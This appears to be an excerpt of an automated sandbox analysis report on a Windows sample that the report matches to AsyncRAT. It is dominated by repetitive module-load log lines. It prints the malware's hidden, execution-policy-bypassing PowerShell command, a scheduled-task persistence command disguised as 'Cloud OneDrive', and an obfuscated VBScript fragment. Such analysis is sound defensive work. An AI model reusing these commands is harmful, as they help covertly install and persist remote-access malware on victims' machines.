Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe $var1 = $([char", "0", "false");

.NET source code contains potential unpacker

Source: 22.2.RegSvcs.exe.5190000.0.raw.unpack, g.cs	.Net Code: _1
Source: 22.2.RegSvcs.exe.5190000.0.raw.unpack, g.cs	.Net Code: _5 System.AppDomain.Load(byte[])

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF848DC74FB push ebx; iretd	2_2_00007FF848DC756A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 22_2_00B7021D push esi; iretd	22_2_00B7021E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 22_2_00B70082 push ss; retf	22_2_00B70174
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 22_2_00B70000 push ss; retf	22_2_00B70174
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 22_2_00B70051 push ss; retf	22_2_00B70174

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe

Boot Survival

Yara detected AsyncRAT

Source: Yara match	File source: 0000000D.00000002.3418123386.0000000003431000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.3391172871.0000000002C91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 1524, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 6100, type: MEMORYSTR

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /sc minute /mo 2 /tn "Cloud OneDrive" /tr C:\ProgramData\Cloud\cloud.vbs

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
